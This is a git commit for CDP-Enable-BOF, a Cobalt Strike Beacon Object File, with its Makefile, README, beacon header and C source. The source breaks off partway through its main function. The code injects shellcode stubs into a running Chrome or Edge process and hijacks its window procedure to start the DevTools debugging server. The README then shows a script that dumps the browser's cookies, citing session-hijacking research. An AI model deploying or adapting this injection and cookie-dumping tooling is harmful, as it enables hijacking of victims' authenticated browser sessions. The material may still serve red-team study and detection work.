Initial Commit

This commit is contained in:
KingOfTheNOPs
2026-04-21 20:49:26 -04:00
parent c47cc0a6ea
commit 7dc3143399
9 changed files with 2185 additions and 1 deletions
+16
View File
@@ -0,0 +1,16 @@
CC=x86_64-w64-mingw32-gcc
OBJCOPY=x86_64-w64-mingw32-objcopy
CFLAGS=-O2 -c -Wall -Wextra -fno-asynchronous-unwind-tables -fno-unwind-tables -fno-exceptions -fno-stack-protector
INCLUDES=-I .
OUT=cdp_enable_bof.o
.PHONY: all clean
all: $(OUT)
$(OUT): cdp_enable_bof.c
$(CC) $(CFLAGS) -o $@ $< $(INCLUDES)
$(OBJCOPY) --remove-section .pdata --remove-section .xdata --remove-section .eh_frame $@
clean:
rm -f $(OUT)
+124 -1
View File
@@ -1,2 +1,125 @@
# CDP-Enable-BOF
Beacon Object File to Enable Chrome DevTools Protocol (CDP)
`CDP-Enable-BOF` is an x64 BOF that enables the Chrome DevTools Protocol in a
running `msedge.exe` or `chrome.exe` process
Based on [CDP-Enable](https://github.com/deathflamingo/CDP-Enabler/) and [Modern Session Hijacking by Living off the DevTools Protocol by Cedric Van Bockhaven](https://specterops.io/so-con/)
## Usage
```text
cdp_enable <edge|chrome> <9000-65535>
```
## How It Works
- finds the requested live browser process and its top-level window
- locates the loaded browser module (`msedge.dll` or `chrome.dll`)
- reads the modules PE headers and sections from the remote process
- resolves these internal symbols at runtime using masked byte signatures:
- `StartRemoteDebuggingServer`
- `operator new`
- `TCPServerSocketFactory::CreateForHttpServer`
- `TCPServerSocketFactory` vtable
- allocates two small remote stubs plus a context block
- temporarily installs a remote window procedure
- triggers that window procedure on the browser UI thread
- calls `StartRemoteDebuggingServer` on the requested port
Running the final internal call on the browser UI thread is the key trick that
makes this reliable in the presence of CFG / TLS / CET-sensitive execution.
## Validate
Use the bundled Python script to prove CDP is up and reachable:
```powershell
python .\grab_cookies.py --port 9001 --output cookies.json
```
If CDP is working, the script will:
- resolve the browser websocket from `http://127.0.0.1:9001/json/version`
- connect to the websocket
- dump cookies to `cookies.json`
Optional domain filter:
```powershell
python .\grab_cookies.py --port 9001 --domain microsoft.com --output ms_cookies.json
```
## Common Issue
Issue: "Failed to resolve symbol signatures"
Cause: Edge version mismatch - signatures are version-specific
Solution: See "Finding New Signatures" below
Tested Chrome Version: 147.0.7727.102
Tested Edge Version: 147.0.3912.72
## Finding New Signatures
The finder scripts are still included because they are useful for:
- validating new signatures
- checking symbol drift across browser versions
- reverse engineering / troubleshooting
### Pull the DLLs
Typical browser DLL locations:
```powershell
Copy-Item "$env:ProgramFiles\\Google\\Chrome\\Application\\chrome.dll" .
Copy-Item "${env:ProgramFiles(x86)}\\Microsoft\\Edge\\Application\\msedge.dll" .
```
### Pull the matching PDBs
For Chrome:
```powershell
& 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe' /v chrome.dll /s srv*C:\symbols*https://chromium-browser-symsrv.commondatastorage.googleapis.com
```
For Edge:
```powershell
symchk /v /ocx edge-symchk.txt /s SRV*c:\symbols*https://msdl.microsoft.com/download/symbols .\msedge.dll
```
### Run the scripts
Find `StartRemoteDebuggingServer`:
```powershell
python .\find_start_server.py .\chrome.dll .\chrome.dll.pdb
python .\find_start_server.py .\msedge.dll .\msedge.dll.pdb
```
Find the supporting inputs:
```powershell
python .\find_cdp_inputs.py .\chrome.dll .\chrome.dll.pdb
python .\find_cdp_inputs.py .\msedge.dll .\msedge.dll.pdb
```
These scripts emit:
- `StartRemoteDebuggingServer`
- `operator new`
- `TCPServerSocketFactory::CreateForHttpServer`
- derived `TCPServerSocketFactory` vtable
## Notes
- x64 only
- tested with both `msedge.exe` and `chrome.exe`
- the BOF only targets the browser you explicitly pass as an argument
- the current Chrome resolver uses a stronger masked `CreateForHttpServer`
signature to avoid false positives across patch-level browser changes
+61
View File
@@ -0,0 +1,61 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+800
View File
@@ -0,0 +1,800 @@
/*
* CDP-Enabler-BOF
*
* Self-resolving BOF that enables CDP in a running Edge or Chrome instance
* without relying on hardcoded RVAs. Installs a temporary remote WndProc
* so StartRemoteDebuggingServer runs on the browser UI thread.
*
* Arguments:
* <browser> <port>
* browser = "edge" or "chrome"
* port = integer 9000-65535
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>
#include "beacon.h"
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD);
WINBASEAPI BOOL WINAPI KERNEL32$Process32FirstW(HANDLE, LPPROCESSENTRY32W);
WINBASEAPI BOOL WINAPI KERNEL32$Process32NextW(HANDLE, LPPROCESSENTRY32W);
WINBASEAPI BOOL WINAPI KERNEL32$Module32FirstW(HANDLE, LPMODULEENTRY32W);
WINBASEAPI BOOL WINAPI KERNEL32$Module32NextW(HANDLE, LPMODULEENTRY32W);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFreeEx(HANDLE, LPVOID, SIZE_T, DWORD);
WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
WINBASEAPI BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD);
WINBASEAPI BOOL WINAPI KERNEL32$GetExitCodeThread(HANDLE, LPDWORD);
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(void);
WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);
WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);
WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR);
WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR);
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);
WINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO);
WINUSERAPI HWND WINAPI USER32$FindWindowA(LPCSTR, LPCSTR);
WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND, HWND, LPCSTR, LPCSTR);
WINUSERAPI DWORD WINAPI USER32$GetWindowThreadProcessId(HWND, LPDWORD);
WINUSERAPI HWND WINAPI USER32$GetParent(HWND);
WINUSERAPI BOOL WINAPI USER32$IsWindowVisible(HWND);
WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND, UINT, WPARAM, LPARAM);
WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*);
#define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot
#define Process32FirstW KERNEL32$Process32FirstW
#define Process32NextW KERNEL32$Process32NextW
#define Module32FirstW KERNEL32$Module32FirstW
#define Module32NextW KERNEL32$Module32NextW
#define OpenProcess KERNEL32$OpenProcess
#define CloseHandle KERNEL32$CloseHandle
#define VirtualAllocEx KERNEL32$VirtualAllocEx
#define VirtualFreeEx KERNEL32$VirtualFreeEx
#define WriteProcessMemory KERNEL32$WriteProcessMemory
#define ReadProcessMemory KERNEL32$ReadProcessMemory
#define CreateRemoteThread KERNEL32$CreateRemoteThread
#define WaitForSingleObject KERNEL32$WaitForSingleObject
#define GetExitCodeThread KERNEL32$GetExitCodeThread
#define GetLastError KERNEL32$GetLastError
#define GetProcessHeap KERNEL32$GetProcessHeap
#define HeapAlloc KERNEL32$HeapAlloc
#define HeapFree KERNEL32$HeapFree
#define GetModuleHandleW KERNEL32$GetModuleHandleW
#define LoadLibraryW KERNEL32$LoadLibraryW
#define GetProcAddress KERNEL32$GetProcAddress
#define GetSystemInfo KERNEL32$GetSystemInfo
#define FindWindowA USER32$FindWindowA
#define FindWindowExA USER32$FindWindowExA
#define GetWindowThreadProcessId USER32$GetWindowThreadProcessId
#define GetParent USER32$GetParent
#define IsWindowVisible USER32$IsWindowVisible
#define SendMessageA USER32$SendMessageA
#define lstrcmpiW MSVCRT$_wcsicmp
#define WM_START_CDP_REMOTE (WM_USER + 0x2451)
typedef struct {
UINT64 hwnd;
UINT64 new_wndproc;
UINT64 set_window_long_ptr_a;
UINT64 old_wndproc;
} INSTALL_CTX;
typedef struct {
UINT64 old_wndproc;
UINT64 set_window_long_ptr_a;
UINT64 start_remote_debugging_server;
UINT64 chrome_new;
UINT64 factory_vtable;
UINT32 port;
UINT32 mode;
} WNDPROC_CTX;
typedef struct {
const char* browser_name;
const wchar_t* process_name;
const wchar_t* module_name_w;
const uint8_t* start_sig;
const uint8_t* start_mask;
size_t start_sig_len;
const uint8_t* entry1_sig;
const uint8_t* entry1_mask;
size_t entry1_sig_len;
} TARGET_CFG;
static const unsigned char INSTALL_STUB[] = {
0x53,
0x48, 0x83, 0xEC, 0x20,
0x48, 0x89, 0xCB,
0x48, 0x8B, 0x0B,
0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF,
0x4C, 0x8B, 0x43, 0x08,
0x48, 0x8B, 0x43, 0x10,
0xFF, 0xD0,
0x48, 0x89, 0x43, 0x18,
0x31, 0xC0,
0x48, 0x83, 0xC4, 0x20,
0x5B,
0xC3
};
static const unsigned char WNDPROC_STUB_TEMPLATE[] = {
0x53,
0x48, 0x83, 0xEC, 0x70,
0x48, 0xBB,
0,0,0,0,0,0,0,0,
0x48, 0xC7, 0xC2, 0xFC, 0xFF, 0xFF, 0xFF,
0x4C, 0x8B, 0x03,
0x48, 0x8B, 0x43, 0x08,
0xFF, 0xD0,
0x48, 0xC7, 0xC1, 0x10, 0x00, 0x00, 0x00,
0x48, 0x8B, 0x43, 0x18,
0xFF, 0xD0,
0x48, 0x89, 0x44, 0x24, 0x20,
0x31, 0xC9,
0x48, 0x89, 0x48, 0x08,
0x48, 0x8B, 0x4B, 0x20,
0x48, 0x89, 0x08,
0x66, 0x8B, 0x4B, 0x28,
0x66, 0x89, 0x48, 0x08,
0x31, 0xC9,
0x48, 0x89, 0x4C, 0x24, 0x28,
0x48, 0x89, 0x4C, 0x24, 0x30,
0x48, 0x89, 0x4C, 0x24, 0x38,
0x48, 0x89, 0x4C, 0x24, 0x40,
0x48, 0x89, 0x4C, 0x24, 0x48,
0x48, 0x89, 0x4C, 0x24, 0x50,
0x48, 0x8D, 0x4C, 0x24, 0x20,
0x48, 0x8D, 0x54, 0x24, 0x28,
0x4C, 0x8D, 0x44, 0x24, 0x40,
0x44, 0x8B, 0x4B, 0x2C,
0x48, 0x8B, 0x43, 0x10,
0xFF, 0xD0,
0x31, 0xC0,
0x48, 0x83, 0xC4, 0x70,
0x5B,
0xC3
};
static const uint8_t EDGE_START_SIG[] = {
0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57,
0x55, 0x53, 0x48, 0x83, 0xEC, 0x50,
0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3,
0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE,
0x48, 0x8B, 0x05, 0x9D
};
static const uint8_t CHROME_START_SIG[] = {
0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53,
0x48, 0x83, 0xEC, 0x48,
0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6,
0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE,
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00
};
static const uint8_t CHROME_START_MASK[] = {
1,1,1,1,1,1,1,1,
1,1,1,1,
1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,0,0,0,0
};
/* Short unique operator new signature. */
static const uint8_t OPERATOR_NEW_SIG[] = {
0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xEB
};
static const uint8_t OPERATOR_NEW_MASK[] = {
1,1,1,1,1,1,1,1,1,1
};
static const uint8_t VTABLE_ENTRY0_SIG[] = {
0x56, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x89, 0xCE,
0xF6, 0xC2, 0x01, 0x74, 0x08, 0x48, 0x89, 0xF1,
0xE8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF0,
0x48, 0x83, 0xC4, 0x20, 0x5E, 0xC3
};
static const uint8_t VTABLE_ENTRY0_MASK[] = {
1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,
1,0,0,0,0,1,1,1,
1,1,1,1,1,1
};
/* Edge and Chrome each get their known-unique CreateForHttpServer signature. */
static const uint8_t EDGE_ENTRY1_SIG[] = {
0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48
};
static const uint8_t CHROME_ENTRY1_SIG[] = {
0x41, 0x57, 0x41, 0x56, 0x56, 0x57, 0x55, 0x53,
0x48, 0x81, 0xEC, 0x88, 0x00, 0x00, 0x00,
0x48, 0x89, 0xD6, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xE0, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00,
0x0F, 0xB7, 0x59, 0x08, 0xB9, 0x38, 0x00, 0x00, 0x00,
0xE8, 0x00, 0x00, 0x00, 0x00,
0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00
};
static const uint8_t CHROME_ENTRY1_MASK[] = {
1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,
1,1,1,1,1,1,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,
1,0,0,0,0,
1,1,1,1,1,1,0,0,0,0,
1,1,1,0,0,0,0
};
static void bof_memcpy(void* dst, const void* src, SIZE_T len) {
SIZE_T i;
unsigned char* d = (unsigned char*)dst;
const unsigned char* s = (const unsigned char*)src;
for (i = 0; i < len; i++) d[i] = s[i];
}
static void bof_memset(void* dst, int c, SIZE_T len) {
SIZE_T i;
unsigned char* d = (unsigned char*)dst;
for (i = 0; i < len; i++) d[i] = (unsigned char)c;
}
static void PatchQword(unsigned char* buf, SIZE_T off, UINT64 value) {
bof_memcpy(buf + off, &value, sizeof(value));
}
static int ascii_equals_literal(const char* s, int len, const char* lit) {
int i = 0;
if (!s || !lit) return 0;
while (i < len && s[i] && lit[i]) {
if (s[i] != lit[i]) return 0;
i++;
}
if (lit[i] != 0) return 0;
if (i < len && s[i] != 0) return 0;
return 1;
}
static BOOL IsBrowserProcess(DWORD pid) {
HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL);
while (hwnd) {
DWORD window_pid = 0;
GetWindowThreadProcessId(hwnd, &window_pid);
if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) {
return TRUE;
}
hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL);
}
return FALSE;
}
static DWORD FindBrowserProcess(const wchar_t* target_proc_name) {
HANDLE hSnapshot;
PROCESSENTRY32W pe;
DWORD browser_pid = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
bof_memset(&pe, 0, sizeof(pe));
pe.dwSize = sizeof(pe);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (lstrcmpiW(pe.szExeFile, target_proc_name) == 0) {
if (IsBrowserProcess(pe.th32ProcessID)) {
browser_pid = pe.th32ProcessID;
break;
}
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return browser_pid;
}
static HWND FindBrowserWindowForPid(DWORD pid) {
HWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL);
while (hwnd) {
DWORD window_pid = 0;
GetWindowThreadProcessId(hwnd, &window_pid);
if (window_pid == pid && GetParent(hwnd) == NULL && IsWindowVisible(hwnd)) {
return hwnd;
}
hwnd = FindWindowExA(NULL, hwnd, "Chrome_WidgetWin_1", NULL);
}
return NULL;
}
static BOOL GetRemoteModule(DWORD pid, const wchar_t* module_name, uintptr_t* base_out, DWORD* size_out) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
MODULEENTRY32W me;
BOOL ok = FALSE;
if (snap == INVALID_HANDLE_VALUE) return FALSE;
bof_memset(&me, 0, sizeof(me));
me.dwSize = sizeof(me);
if (Module32FirstW(snap, &me)) {
do {
if (lstrcmpiW(me.szModule, module_name) == 0) {
*base_out = (uintptr_t)me.modBaseAddr;
*size_out = me.modBaseSize;
ok = TRUE;
break;
}
} while (Module32NextW(snap, &me));
}
CloseHandle(snap);
return ok;
}
static BOOL GetRemoteSystemProc(DWORD pid, const wchar_t* module_name, const char* proc_name, uintptr_t* out_addr) {
HMODULE local_mod = GetModuleHandleW(module_name);
FARPROC local_proc;
uintptr_t local_rva;
uintptr_t remote_base;
DWORD remote_size;
if (!local_mod) local_mod = LoadLibraryW(module_name);
if (!local_mod) return FALSE;
local_proc = GetProcAddress(local_mod, proc_name);
if (!local_proc) return FALSE;
local_rva = (uintptr_t)local_proc - (uintptr_t)local_mod;
if (!GetRemoteModule(pid, module_name, &remote_base, &remote_size)) return FALSE;
*out_addr = remote_base + local_rva;
return TRUE;
}
static BOOL GetRemoteSectionInfo(HANDLE hProcess, uint8_t* module_base,
uint8_t** text_base, SIZE_T* text_size,
uint8_t** rdata_base, SIZE_T* rdata_size) {
IMAGE_DOS_HEADER dos;
IMAGE_NT_HEADERS64 nt;
IMAGE_SECTION_HEADER section;
SIZE_T read = 0;
DWORD i;
uint8_t* section_hdr;
if (!ReadProcessMemory(hProcess, module_base, &dos, sizeof(dos), &read) || read != sizeof(dos))
return FALSE;
if (dos.e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
if (!ReadProcessMemory(hProcess, module_base + dos.e_lfanew, &nt, sizeof(nt), &read) || read != sizeof(nt))
return FALSE;
if (nt.Signature != IMAGE_NT_SIGNATURE)
return FALSE;
section_hdr = module_base + dos.e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + nt.FileHeader.SizeOfOptionalHeader;
*text_base = NULL;
*rdata_base = NULL;
for (i = 0; i < nt.FileHeader.NumberOfSections; i++) {
if (!ReadProcessMemory(hProcess, section_hdr + (i * sizeof(IMAGE_SECTION_HEADER)),
&section, sizeof(section), &read) || read != sizeof(section))
continue;
if (section.Name[0] == '.' && section.Name[1] == 't' && section.Name[2] == 'e' &&
section.Name[3] == 'x' && section.Name[4] == 't') {
*text_base = module_base + section.VirtualAddress;
*text_size = section.Misc.VirtualSize;
} else if (section.Name[0] == '.' && section.Name[1] == 'r' && section.Name[2] == 'd' &&
section.Name[3] == 'a' && section.Name[4] == 't' && section.Name[5] == 'a') {
*rdata_base = module_base + section.VirtualAddress;
*rdata_size = section.Misc.VirtualSize;
}
}
return (*text_base != NULL && *rdata_base != NULL);
}
static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size,
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len) {
const SIZE_T chunk = 0x10000;
SIZE_T offset = 0;
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len);
if (!buf) return NULL;
while (offset < size) {
SIZE_T to_read = size - offset;
SIZE_T read = 0, end, i;
if (to_read > chunk) to_read = chunk;
if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) {
offset += chunk;
continue;
}
end = read - sig_len;
for (i = 0; i <= end; i++) {
BOOL match = TRUE;
SIZE_T j;
for (j = 0; j < sig_len && match; j++) {
if (!mask || mask[j]) {
if (buf[i + j] != sig[j]) match = FALSE;
}
}
if (match) {
void* found = start + offset + i;
HeapFree(GetProcessHeap(), 0, buf);
return found;
}
}
offset += chunk;
}
HeapFree(GetProcessHeap(), 0, buf);
return NULL;
}
static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size,
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
uint64_t* out_matches, int max_matches) {
const SIZE_T chunk = 0x10000;
SIZE_T offset = 0;
int count = 0;
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len);
if (!buf) return 0;
while (offset < size && count < max_matches) {
SIZE_T to_read = size - offset;
SIZE_T read = 0, end, i;
if (to_read > chunk) to_read = chunk;
if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) {
offset += chunk;
continue;
}
end = read - sig_len;
for (i = 0; i <= end && count < max_matches; i++) {
BOOL match = TRUE;
SIZE_T j;
for (j = 0; j < sig_len && match; j++) {
if (!mask || mask[j]) {
if (buf[i + j] != sig[j]) match = FALSE;
}
}
if (match) {
out_matches[count++] = (uint64_t)(uintptr_t)(start + offset + i);
}
}
offset += chunk;
}
HeapFree(GetProcessHeap(), 0, buf);
return count;
}
static void* FindVtableInRdata(HANDLE hProcess, uint8_t* rdata_base, SIZE_T rdata_size,
uint64_t* destr_addrs, int destr_count, uint64_t entry1_addr,
uint8_t* text_base, SIZE_T text_size) {
const SIZE_T chunk = 0x10000;
SIZE_T offset = 0;
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk);
if (!buf) return NULL;
while (offset < rdata_size) {
SIZE_T to_read = rdata_size - offset;
SIZE_T read = 0, end, i;
if (to_read > chunk) to_read = chunk;
if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) {
offset += chunk;
continue;
}
end = (read >= 16) ? (read - 16) : 0;
for (i = 0; i <= end; i += 8) {
uint64_t first = *(uint64_t*)(buf + i);
uint64_t second = *(uint64_t*)(buf + i + 8);
if (second == entry1_addr && destr_count > 0) {
int di;
for (di = 0; di < destr_count; di++) {
if (first == destr_addrs[di]) {
void* found = rdata_base + offset + i;
HeapFree(GetProcessHeap(), 0, buf);
return found;
}
}
}
}
offset += chunk;
}
if (destr_count <= 0) {
int hits = 0;
void* candidate = NULL;
offset = 0;
while (offset < rdata_size) {
SIZE_T to_read = rdata_size - offset;
SIZE_T read = 0, end, i;
if (to_read > chunk) to_read = chunk;
if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) {
offset += chunk;
continue;
}
end = (read >= 16) ? (read - 16) : 0;
for (i = 0; i <= end; i += 8) {
uint64_t first = *(uint64_t*)(buf + i);
uint64_t second = *(uint64_t*)(buf + i + 8);
if (second == entry1_addr &&
first >= (uint64_t)text_base &&
first < (uint64_t)(text_base + text_size)) {
hits++;
candidate = rdata_base + offset + i;
if (hits > 1) break;
}
}
if (hits > 1) break;
offset += chunk;
}
if (hits == 1) {
HeapFree(GetProcessHeap(), 0, buf);
return candidate;
}
}
HeapFree(GetProcessHeap(), 0, buf);
return NULL;
}
static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const TARGET_CFG* target,
uintptr_t* start_server, uintptr_t* chrome_new, uintptr_t* factory_vtable) {
uint8_t* text_base = NULL;
uint8_t* rdata_base = NULL;
SIZE_T text_size = 0, rdata_size = 0;
void* entry1 = NULL;
uint64_t destr_addrs[32];
int destr_count = 0;
if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) {
BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections");
return FALSE;
}
*start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len);
if (!*start_server) {
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found");
return FALSE;
}
*chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG));
if (!*chrome_new) {
BeaconPrintf(CALLBACK_ERROR, "[-] operator new signature not found");
return FALSE;
}
entry1 = ScanRemoteForSignature(hProcess, text_base, text_size, target->entry1_sig, target->entry1_mask, target->entry1_sig_len);
if (!entry1) {
BeaconPrintf(CALLBACK_ERROR, "[-] CreateForHttpServer signature not found");
return FALSE;
}
destr_count = ScanRemoteForAllSignatures(
hProcess, text_base, text_size, VTABLE_ENTRY0_SIG, VTABLE_ENTRY0_MASK, sizeof(VTABLE_ENTRY0_SIG),
destr_addrs, 32);
*factory_vtable = (uintptr_t)FindVtableInRdata(
hProcess, rdata_base, rdata_size, destr_addrs, destr_count, (uint64_t)(uintptr_t)entry1,
text_base, text_size);
if (!*factory_vtable) {
BeaconPrintf(CALLBACK_ERROR, "[-] TCPServerSocketFactory vtable not found");
return FALSE;
}
return TRUE;
}
void go(char* args, int len) {
TARGET_CFG targets[] = {
{ "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) },
{ "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) }
};
datap parser;
TARGET_CFG* target = NULL;
DWORD pid = 0;
HWND hwnd;
uintptr_t browser_base = 0;
DWORD browser_size = 0;
HANDLE hProcess = NULL;
LPVOID remote_mem = NULL;
SIZE_T total_size = 0x1000;
unsigned char* local_page = NULL;
SIZE_T written = 0;
HANDLE hThread = NULL;
INSTALL_CTX install_ctx;
WNDPROC_CTX wnd_ctx;
uintptr_t set_window_long_ptr_a = 0;
uintptr_t install_stub_remote, wnd_stub_remote, install_ctx_remote, wnd_ctx_remote;
uintptr_t start_server = 0, chrome_new = 0, factory_vtable = 0;
DWORD exit_code = 0;
int port = 0;
int ti;
char* browser_arg = NULL;
int browser_len = 0;
BeaconPrintf(CALLBACK_OUTPUT, "=== CDP-Enabler-BOF ===");
if (len <= 0) {
BeaconPrintf(CALLBACK_ERROR, "[-] Missing required arguments. Expected: <chrome|edge> <port>");
return;
}
BeaconDataParse(&parser, args, len);
browser_arg = BeaconDataExtract(&parser, &browser_len);
if (!browser_arg || browser_len <= 0) {
BeaconPrintf(CALLBACK_ERROR, "[-] Missing required browser argument. Expected: <chrome|edge>");
return;
}
if (BeaconDataLength(&parser) < 4) {
BeaconPrintf(CALLBACK_ERROR, "[-] Missing required port argument.");
return;
}
port = BeaconDataInt(&parser);
if (port <= 8999 || port > 65535) {
BeaconPrintf(CALLBACK_ERROR, "[-] Invalid port: %d", port);
return;
}
for (ti = 0; ti < (int)(sizeof(targets)/sizeof(targets[0])); ti++) {
if (ascii_equals_literal(browser_arg, browser_len, targets[ti].browser_name)) {
